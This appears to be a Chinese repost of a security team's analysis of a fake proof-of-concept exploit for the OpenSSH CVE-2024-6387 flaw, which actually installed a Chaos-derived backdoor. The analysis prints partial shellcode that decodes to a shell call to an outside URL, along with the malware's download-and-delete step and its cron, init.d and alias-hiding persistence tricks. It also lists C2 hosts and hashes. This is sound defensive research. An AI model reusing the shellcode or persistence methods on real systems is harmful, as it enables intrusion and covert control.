概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

作者:Vlad O 和 Daniel C

20 世纪 90 年代和 21 世纪初是网络安全领域的动荡时期。大量黑客组织应运而生,他们发现漏洞并发布漏洞代码,导致互联网严重混乱。这些组织在恶作剧得逞后,通常会向公众发布概念验证 (PoC),让其他人复制和借鉴他们的工作。

然而,这种公开分享也伴随着巨大的风险。在互联网上,匿名是理所当然的——俗话说,“没人知道你是一条狗”。这种匿名性也延伸到了漏洞代码。如果无法彻底理解和验证代码的行为,用户就有可能在不知不觉中运行恶意软件。许多人在执行不受信任的漏洞代码后发现自己面临严重后果。

虽然这种情况并不普遍,但一些值得注意的例子是,工具和漏洞代码被大量植入后门。这些后门允许恶意行为者使用这些工具未经授权访问系统。以下是一些示例:

  • 带有后门的 PoC:除了展示漏洞之外,利用代码还会在其执行的任何系统上秘密安装后门,让攻击者获得持续访问权限。

  • 受感染的工具:常用的安全工具经过修改,包含恶意负载,将受信任的软件变成攻击的载体。

  • 受损存储库:托管漏洞代码或安全工具的公共存储库,这些存储库已被渗透并植入了合法软件的后门版本。

这个时代的教训很明显:在没有完全理解和验证其行为之前,永远不要运行不受信任的代码。后门漏洞代码的遗留问题提醒我们,在网络安全实践中谨慎和尽职调查的重要性。

  • Sub7有一个未记录的主密码,如果机器有特定的 ICQ 号码,某些版本会格式化硬盘(感谢@travisgoodspeed的提醒)。

  • HD Moore 写了一篇关于 csh 绑定漏洞的博客文章,其中 shellcode 通知服务器该漏洞已被利用(感谢@bsdaemon提出这一点)。

  • Havij 是以前的 SQL 注入工具,它会将存在漏洞的服务器的详细信息发送到远程服务器。很容易破解,对吧?

  • Back Orifice CD 感染了 CIH 病毒(感谢 Arrigo 的提醒!)

如果你要运行漏洞代码或工具,你真的需要检查它们做了什么以及它们是如何工作的。Andy Gill 做了一个很棒的项目,他利用了这一点,发布了 HoneyPoC

最初的 HoneyPoC 项目的初步发现是,人们会盲目地运行任何东西,但随着我进一步提高项目自动化程度,很明显不同的地理位置对不同类型的 CVE 和软件漏洞有更浓厚的兴趣。


CVE-2024-6387

快进到 2024 年,现在网络安全领域几乎每个人都是威胁情报分析师,对最新发布的高级持续性威胁 (APT) 和概念验证 (PoC) 代码进行深入研究。安全团队持续监控新发布的漏洞的 PoC 已成为一种常见做法。竞争环境催生了一场争夺威胁情报主要来源的竞赛。典型的流程包括快速从 GitHub 上抓取与 CVE-2024-XX 等漏洞相关的代码,下载它,测试其功能,如果成功,则从公司帐户发布博客文章以获得认可。

2024 年 7 月 1 日,Qualys 威胁研究部门 (TRU)在基于 glibc 的 Linux 系统上发现了OpenSSH 服务器 (sshd) 中未经身份验证的远程代码执行 (RCE) 漏洞 (CVE-2024-6387)。这一发现意义重大,因为这种程度的 SSH 漏洞很少见。TRU 团队因发现如此严重的漏洞而值得表扬。

利用这个漏洞并非易事,一些团体看到了利用安全研究人员(包括我们)的机会,他们蜂拥而至地寻找这个漏洞。针对 CVE-2024-6387 编写漏洞利用程序具有挑战性,但并非不可能。以下是需要克服的一些障碍:

  1. 了解目标:要利用此漏洞,需要深入了解目标系统。地址空间布局随机化 (ASLR) 和特定 glibc 结构在不同的 Linux 发行版中有所不同。这种复杂性需要大量数据才能实现利用,这使得该过程变得繁琐而复杂。

  2. 时机和噪音:在很短的时间内(甚至只有五个小时)利用此漏洞会产生相当大的噪音。该过程类似于对用户名和密码组合的暴力攻击。利用此漏洞所需的高水平活动使其引人注目,并且很难秘密执行。

总而言之,虽然 Qualys TRU 发现 CVE-2024-6387 令人惊叹,但漏洞利用的复杂性在一定程度上起到了威慑作用。这种情况强调了彻底理解和精确执行漏洞利用的重要性,凸显了安全研究人员和威胁行为者面临的持续挑战。

我开始思考从流程角度来看这种漏洞如何发挥作用,并得出了以下结论:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

首先,了解 GNU C 库 (glibc) 的奇妙世界非常重要。基本上,它是使一切实现的粘合剂,包括 IO、网络、内存等等。现在,Linux 总体上并不遵循固定的工作方式。每个发行版的做法都不同,这就是复杂性发挥作用的地方。

Linux PaX 项目首先提出了“ASLR”(地址空间布局随机化)这一术语,并于 2001 年 7 月发布了 ASLR 的第一个设计和实现,作为 Linux 内核的一个补丁。基本上:对内存进行打乱,使 shellcode 插入更加困难,因为您不知道特定函数(例如 glibc 中的函数)的确切位置。这种不可预测性使 shellcode 插入和其他基于内存的攻击变得更加复杂。

然后,我们需要知道系统是什么,以便我们能够利用它。听起来很简单,对吧?其实不然。让我们编写一些基本代码来在多个系统上执行此操作:

Ubuntu 18.0.4:

glibc version: 2.27address of printf: 0x7ff266e14e40address of system: 0x7ff266dff420

Ubuntu 22.04:

glibc version: 2.35address of printf: 0x75b1ec6606f0address of system: 0x75b1ec650d70

红帽企业版:

Using glibc version: 2.17Address of printf: 0x7f8b12345678Address of system: 0x7f8b12345679

这并非一件容易快速完成的事情,而这正是乐趣的开始。Qualys 发布几天后,我们发现有人提供了漏洞代码,自然而然,每个人都开始使用它。

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

还有一个网络服务器,位于 http://

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

本质上,我们有exploit.py:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

还有:零字节exploit-gogo.c,零字节glibc_check.c和send.c:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

这段代码看起来合法:我们看到几个函数让人感觉它正在做它应该做的工作,即:

  • GLIBC_BASES:glibc 可能的基地址的全局数组,如上所述,它是必不可少的。

  • 各种配置值的常量,例如最大数据包大小、登录宽限时间和最大启动次数。

  • send_packet:向已建立的连接发送指定类型和数据的数据包。

  • prepare_heap:通过向服务器发送一个充满“A”的大缓冲区来准备堆。这是堆喷射中的常用技术。

  • time_final_packet:测量服务器响应小数据包所需的时间。这有助于了解服务器的时间特性。

  • attempt_race_condition:这是漏洞的核心:尝试通过仔细计时发送包含 shellcode 的恶意负载来利用竞争条件。它还会检查是否收到表示成功的响应。

  • perform_exploit:显然;主要的漏洞利用函数会遍历可能的 glibc 基地址并多次尝试漏洞利用。

到目前为止,它令人信服。此外,为了增加加分,execute_and_cleanup.sh

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

它的主要用途是需要跨各种架构下载、执行和清理文件。它确保下载的文件在使用后被执行和删除,从而维护一个干净的环境。

但是。等等。CHMOD 777

看到这个,你的东西就会变得丑陋。那,还有多架构,意味着在 2024 年它只能是 Golang。

exploit.py 并不花哨,它加载一个 IP 地址列表,创建一个exploit_ip()使用子进程(在主机上运行命令)的函数,该函数反过来执行漏洞二进制文件并将其瞄准 IP 和端口 22。最后,该main()函数读入ip.txt并使用concurrent.futures创建一个由 10 个工作线程组成的工作池来执行漏洞利用。

很简单,不是吗?这看起来确实是 CVE-2024-6387 的一个可用漏洞,您可以看到有多少人可能尝试过这个漏洞。

但我们并不相信:它的工作原理有些奇怪,例如各种 glibc 地址,以及为什么每个架构都有巨大的二进制文件,以及 260 万个 IP 地址文件到底是什么?

一些更深入的分析。

我们决定更深入地研究主要的漏洞利用部分,如下所述exploit.py

exploit: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, BuildID[sha1]=a5bdb209387e06cba305d4d5db76c52b7cb6ea26, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

运行字符串给出了很多:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

另外还有一段小片段:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

Shellcode Phun

send.c 具有以下内容:

unsigned char shellcode[] ="x31xc0x50x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x50x66x68x2dx71x89xe1x50x68x38x39x2ex31x68x31x32x2ex37x68x2ex31x39x2ex68x

他们确实说了“// Shellcode 占位符(用实际的 shellcode 替换)”,但是谁会这么做呢?那么,让我们看一下这个占位符 shellcode:

0:  31 c0                   xor    eax, eax2:  50                      push   eax3:  68 6e 2f 73 68          push   0x68732f6e8:  68 2f 2f 62 69          push   0x69622f2fd:  89 e3                   mov    ebx, espf:  50                      push   eax10: 66 68 2d 71             pushw  0x712d14: 89 e1                   mov    ecx, esp16: 50                      push   eax17: 68 38 39 2e 31          push   0x312e39381c: 68 31 32 2e 37          push   0x372e323121: 68 2e 31 39 2e          push   0x2e39312e26: 68 31 39 38 2e          push   0x2e3839312b: 68 74 70 3a 2f          push   0x2f3a707430: 68 2f 68 74 74          push   0x7474682f35: 89 e1                   mov    ecx, esp37: 51                      push   ecx38: 89 e1                   mov    ecx, esp3a: b0 0b                   mov    al, 0xb3c: cd 80                   int    0x80

突出的是:

  • 推送 0x68732f6e(将 ASCII 字符串“n/sh”推送到堆栈。)

  • 推送 0x69622f2f(将 ASCII 字符串“//bi”推送到堆栈。)

好的开始,没有 shell 就不能有远程 shell 对吧?

  • 推送 0x312e3938

  • 推送 0x372e3231

  • 推送 0x2e39312e

  • 推送 0x2e383931

  • 推送 0x2f3a7074

  • 推送 0x7474682f

http:// 这些推送指令在堆栈上构建一个包含 IP 地址和前缀的字符串。

本质上,shellcode 执行以下操作:

/bin/sh -q http://198.19.128.231

哪个是虚假 IP(尚未由互联网号码分配机构 (IANA) 或授权的区域互联网注册管理机构 (RIR) 分配或授权)

对‘漏洞’二进制文件进行逆向工程

恶意 CVE_2024_6387(RegreSSHion)档案包含许多源代码文件和预编译的二进制文件:

Filename Hash
glibc_check.c da39a3ee5e6b4b0d3255bfef95601890afd80709
exploit 7e6a1e4dfb2d932506b88b58d5bb4f254b762680
send.c 02a9c0437bc43b620bb1e4575562af6b0a65ad00
index.html e84ee7ec8f790ec51d32d355484026766d0ad499
index.html?C=N;O=A e84ee7ec8f790ec51d32d355484026766d0ad499
index.html?C=M;O=A f706b77914ab7fa41fb6821be8f8a7726451cb75
验证利用脚本.txt fe71d044f35b83eaa26162ff62a94ddf4d6047ee
arm5 380f766eec0b181cb094b51e366487deabd0d312
amd64 3bdad143cd168a2015aba2053e53f99a24d52ace
index.html?C=D;O=D f5816e66a76ef28ff15aec7e8a72ee248212f272
index.html?C=S;O=D 9d3a58868e88e9160e172cb5b436bd97a9c79c00
execute_and_cleanup.sh 98cee6d3b4a210be77fa4a458b06b805fa781bd7
mipsel a67a00f6cb7f003504fe28d3265392a482727e0f
c.txt 02a9c0437bc43b620bb1e4575562af6b0a65ad00
mips c514efc4b6d0fe0672f6ddb30609a59587ac04d4
mips64 28f80872f1aba0e3007e002388d057bb2329f407
index.html?C=M;O=D 3d8939bf8793e5d62f6d9e0b5adc87a052d5b154
index.html?C=N;O=D f5816e66a76ef28ff15aec7e8a72ee248212f272
arm7 d17e71b4448aa8a2a3a753cf867bff73371a4f1a
ip.txt faaec686747fa6a07014cc5461ff64dbc9efdf3f
mips64el 71183310d0d00caa421a058d52e37d7ad8fc46eb
arm6 79ae24874af457cfd95b5c34f95ecf5ab6ececb5
aarch64 a0238a3433fcdffbfd04dadb7c0fc6c103a9efb2
exploit.py 985109c80b184d59c19c83faf0bfe593524b8374
exploit-gogo.c da39a3ee5e6b4b0d3255bfef95601890afd80709
index.html?C=D;O=A b53d3e47bc5273a480fa3d49e422b36c04889c7e
index.html?C=S;O=A 016e21a4202905e64de5e6473884f69791857eea
386 9a058ce2e1a413ae24b0c23e49b68d1b2f3f2777

仔细检查后,很快就发现漏洞本身的源代码是一个诱饵,旨在诱使执行漏洞的机器感染。此攻击链的主要组件被确定为一个相对不为人知的 Golang、多平台命令和控制 (C2) 框架的大量修改版本,名为 Chaos 的远程访问木马 (RAT)(https://github.com/tiagorlampert/CHAOS)。

我们将其称为 HESIOD,以此 RAT 使用的 Golang DNS 规范库之一命名。

执行后,execute_and_cleanup.sh 将下载、启动然后删除针对不同 Linux 架构的多个预编译二进制文件:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


mips: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=KLte1HPpiIqSBxQIfYDS/QANcCW30W9jOPNPuZfoM/ITXftxXWJYEHup3IK3Zf/w1NfFcJvwLrcVi5Raq82, stripped386: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=_U9f3XZujO1ziaaA9kDm/BXkeuDQ1mdANV2QHaIjH/wE0wc7HzHXzDzEQ2tVw9/s7Z6tpCNX0WmjkLFO5QS, strippedaarch64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, BuildID[sha1]=a5bdb209387e06cba305d4d5db76c52b7cb6ea26, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section headeramd64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=HjZE6uhaa4GebYfRRAWT/ZJrtMvuTcKnbLlbJ8SPB/Xe_ce7bYGK3lmYiWj264/qADi21f-7rQwa_60-gvX, strippedarm5: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=FRzpQZTUsYP7nS6EO2I9/tgRlYj8FE4XDUdPumWAp/M8pzTaAOFHhsAFBcUiYU/LZ4ma86tX3sTSTnp6AAc, strippedarm6: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=viDHGzk0Z0GAhUQrh6Fw/PezIakqvEFXe90m2uJYO/u3Gp99nvFdmkLmBpQHUP/bHlZlhreEtq1MaCnJxXf, strippedarm7: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=1QijsWdlTSzNrKXqtLcs/KQiptm3N1lokEnZQ-p1M/DCQjWO2kneaBioVd-ay8/MoCGslbtIBENBSJQ3U1f, strippedmips64: ELF 64-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, Go BuildID=QZ2mZCujX1tji12kigcz/3lhyy7AlsUHxeFpfR6on/yKV0WmRMFx1PbozcPZq5/RiQykqcLr754d2v5i5ij, strippedmips64el: ELF 64-bit LSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, Go BuildID=zhB-y0HTPCZCyENlqYwD/vyVUgOSuhCew3BWoUBzb/9uc42QI3npvBwJ1643Tq/GQ7cdqDzKB_xVz39LA11, strippedmipsel: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=w2J_kkUH_YvdYskSwiXX/1LK679v4jJOxZt0-XTlj/wftkwxZXHDbwb-HqgAq0/FWLFJQlzRaIAB8jTUQw8, stripped

一旦成功执行,HESIOD 就会将自身的副本作为感染管道的一部分进行删除:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


Hash File/Description
3bdad143cd168a2015aba2053e53f99a24d52ace amd64 <- executed file backdoor
3bdad143cd168a2015aba2053e53f99a24d52ace /usr/lib/libgdi.so.0.8.2
3bdad143cd168a2015aba2053e53f99a24d52ace /usr/sbin/netstat.cfg
3bdad143cd168a2015aba2053e53f99a24d52ace /boot/system.pub
3bdad143cd168a2015aba2053e53f99a24d52ace /lib/system.mark
8ab05ff9a8d9d73e2b23643b39d67ea1ff7a6418 .mod [sh script launched by cron job]

相同的哈希值意味着同一个文件以不同的名称被放到多个位置。

执行流劫持(rootkit 组件)

后门删除/etc/profile.d/gateway.sh的脚本包含psssdirlsfind和的后门别名定义lsof

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

此脚本可确保后门进程在标准系统管理命令的输出中保持隐藏。在攻击者入侵计算机的情况下,后门和隐藏进程是保持隐秘性和持久性的常用技术。

当攻击者成功获得系统访问权限时,他们通常会部署后门来确保持续访问的安全。后门是一种恶意软件,它允许攻击者绕过正常的身份验证并控制系统,而合法用户通常对此毫不知情。

为了避免被发现,攻击者通常使用各种方法来向系统管理员隐藏这些后门进程:

  • 进程注入:将恶意代码注入合法进程,使后门看起来像是正常系统操作的一部分。

  • Rootkit:安装 rootkit 来操纵系统内核,允许攻击者拦截和更改系统调用。这种操纵可以隐藏后门进程和其他恶意活动的存在。

  • 命令操纵:修改常见的系统管理命令(例如ps、netstat和ls),以防止它们显示恶意进程。这通常是通过修改二进制文件或使用可加载内核模块来实现的。

  • 日志清理:删除或更改日志文件以消除攻击者活动的证据,使管理员更难检测到异常行为。

  • 配置文件:修改配置文件,将后门作为系统启动过程的一部分,确保它在每次系统启动时运行。

启动时持久性

HESIOD 将以下 bash 脚本放入/etc/init.d/dns-udp4

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

然后添加指向上述脚本的运行级符号链接。

/etc/rc5.d 01dns-udp4 -> ../init.d/dns-udp4/etc/rc4.dS01dns-udp4 -> ../init.d/dns-udp4/etc/rc3.dS01dns-udp4 -> ../init.d/dns-udp4/etc/rc2.dS01dns-udp4 -> ../init.d/dns-udp4

然后它修改以下守护进程脚本:

[x] "/etc/init.d"[x] "/etc/init.d/acpid"[x] "/etc/init.d/alsa-utils"[x] "/etc/init.d/anacron"[x] "/etc/init.d/apparmor"[x] "/etc/init.d/apport"[x] "/etc/init.d/avahi-daemon"[x] "/etc/init.d/bluetooth"[x] "/etc/init.d/console-setup.sh"[x] "/etc/init.d/cron"[x] "/etc/init.d/cups"[x] "/etc/init.d/cups-browsed"[x] "/etc/init.d/dbus"[x] "/etc/init.d/gdm3"[x] "/etc/init.d/hwclock.sh"[x] "/etc/init.d/irqbalance"[x] "/etc/init.d/keyboard-setup.sh"[x] "/etc/init.d/kmod"[x] "/etc/init.d/open-vm-tools"[x] "/etc/init.d/openvpn"[x] "/etc/init.d/plymouth"[x] "/etc/init.d/plymouth-log"[x] "/etc/init.d/postfix"[x] "/etc/init.d/procps"[x] "/etc/init.d/rsync"[x] "/etc/init.d/rsyslog"[x] "/etc/init.d/saned"[x] "/etc/init.d/spice-vdagent"[x] "/etc/init.d/udev"[x] "/etc/init.d/ufw"[x] "/etc/init.d/unattended-upgrades"[x] "/etc/init.d/uuidd"[x] "/etc/init.d/x11-common"

修改运行/lib/system.mark:

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

运行时持久性

运行时持久性通过作业调度程序进行管理cron。具体来说,后门作为执行的一部分启动Anacron,并被安排为每分钟运行一次。这种双重调度确保后门保持活跃并频繁重新启动,即使它被终止。

通过cron作业保持持久性是攻击者在受感染系统上保持立足点的常用策略。通过安排恶意进程定期运行,攻击者可以确保其后门或其他恶意脚本在被停止或删除时自动重新启动。此方法利用了 的标准功能cron,该功能通常用于合法的维护任务,因此不太可能引起怀疑。

Anacron在这种情况下,与 结合使用cron可提供额外的持久性层。虽然cron作业被安排在特定时间运行,Anacron但旨在执行在系统关闭期间错过的计划作业。通过利用两者,攻击者可以保证后门将始终执行,无论系统重新启动或停机时间如何。

总体而言,这种持久性策略增强了后门的弹性,使得系统管理员更难以检测和消除受感染机器中的恶意存在。

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

/etc/cron.d/anacron

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

/etc/init.d/anacron

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

注:system.mark是后门的一个被丢弃的副本。

cron 活动的 bpftrace

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

网络

在执行时,该样本尝试解botbot.ddosvps.cc

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

然后尝试打开smtp14.dsfdsaonline.com端口 7788 上的套接字。

fish@ubuntu:~$ lsof -i tcpCOMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAMEbash.cfg 1646 fish    7u  IPv4  89324      0t0  TCP ubuntu:38332->smtp14.dsfdsaonline.com:7788 (SYN_SENT)

C2 IP 地址

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析


概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

命令和控制 (C2) 服务器希望利用 DNS over HTTP (DoH),因为它导入了 Golang go-doh-client,并通过主机 IP 地址 209.141.53.247 运行。此 IP 地址与两个 DNS 记录相关联。

DNS over HTTP (DoH) 是一种复杂的技术,攻击者利用该技术绕过传统的监控和检测机制。DoH 将 DNS 查询封装在常规 HTTPS 流量中,使传统网络安全工具难以区分合法网络流量和恶意 DNS 查询。这种混淆有助于攻击者逃避依赖于分析标准 DNS 流量模式的安全系统的检测。

通过使用 DoH,攻击者可以:

  • 加密 DNS 查询:传统 DNS 流量通常以明文形式发送,因此很容易被安全工具检查和过滤。而 DoH 则会加密 DNS 查询和响应,防止被网络安全设备拦截和分析。

  • 模仿合法流量:由于 DoH 流量通过 HTTPS 发送,因此它会与正常网络流量混合。这使得网络监控工具很难根据 DNS 查询模式识别和阻止恶意活动。

  • 绕过 DNS 过滤:许多组织部署 DNS 过滤解决方案来阻止对已知恶意域的访问。DoH 可以通过 HTTPS 路由 DNS 查询来绕过这些过滤器,从而绕过传统的 DNS 过滤机制。

  • 确保隐私和匿名性:DoH 通过将 DNS 查询隐藏在加密的 HTTPS 流量中来增强攻击者的隐私和匿名性。这使得防御者更难追踪恶意活动的来源。

在使用 DoH 的 C2 服务器环境中,攻击者利用此技术与受感染的机器保持通信,同时最大限度地降低被发现的风险。共享两个 DNS 记录的主机 IP 地址 209.141.53.247 是管理后门和接收泄露数据的中心点。

总体而言,C2 服务器使用 DNS over HTTP 代表了攻击者逃避传统监控技术的战略举措,确保了其恶意操作的持久性和隐蔽性。

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

该 IP 已被标记为各种恶意活动,包括 2023 年 4 月 20 日被 ThreatFox 确定为 Agent Tesla 恶意软件的可能命令和控制服务器。此外,2023 年 9 月 30 日,外部传感器数据报告称该 IP 存在网络钓鱼行为,并且根据 AbuseIPDB 社区提交的内容,该 IP 与多种恶意行为有关,例如暴力攻击、DNS 入侵、Web 应用攻击、DDoS 攻击、端口扫描和垃圾邮件活动

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

关键要点

近年来,网络安全专家越来越多地成为复杂攻击的目标,这些攻击利用了最近发现的漏洞进行虚假攻击。攻击者通常是网络犯罪分子或受国家支持的行为者,他们利用新报告的漏洞的紧迫性和关注度来欺骗安全专业人员。他们创建并分发伪装成概念验证 (PoC) 代码的虚假漏洞或恶意文件。当网络安全专家下载并运行代码时,他们相信这是合法的分析或缓解工具,他们的系统就会受到攻击。

这种事情并不常见,但我们看到,试图获取那些负责评估漏洞、对手使用的工具以及社区间共享的概念验证漏洞代码的人的访问权限的尝试越来越多。

这个后门并不是一个简单的恶意的 shellcode 武装编译漏洞,可以打开一个反向 shell,这表明这样做仍然有一定的投资回报率,因为我们预计许多人可能在没有进行适当的尽职调查的情况下就运行了这个后门。

这里选择 Golang 作为后门工具很酷,主要是因为它有静态链接,如果不是因为它的大小,它将是一个理想的解决方案。现在,如果是我,我可能会选择更优雅的路线,使用内核模块进行持久性,因为谁会诚实地检查它呢?

要谨慎。信任但要核实。

在下一篇文章中,我们将深入探讨 HESIOD 后门(此次攻击中使用的混沌变体)的内部工作原理。


The Wild West of Proof of Concept Exploit Code (PoC)https://santandersecurityresearch.github.io/blog/sshing_the_masses



感谢您抽出

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

.

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

.

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

来阅读本文

概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):概念验证漏洞代码(PoC)的狂野西部:桑坦德银行安全团队对虚假 SSH (CVE-2024-6387) 漏洞进行了出色的分析

相关文章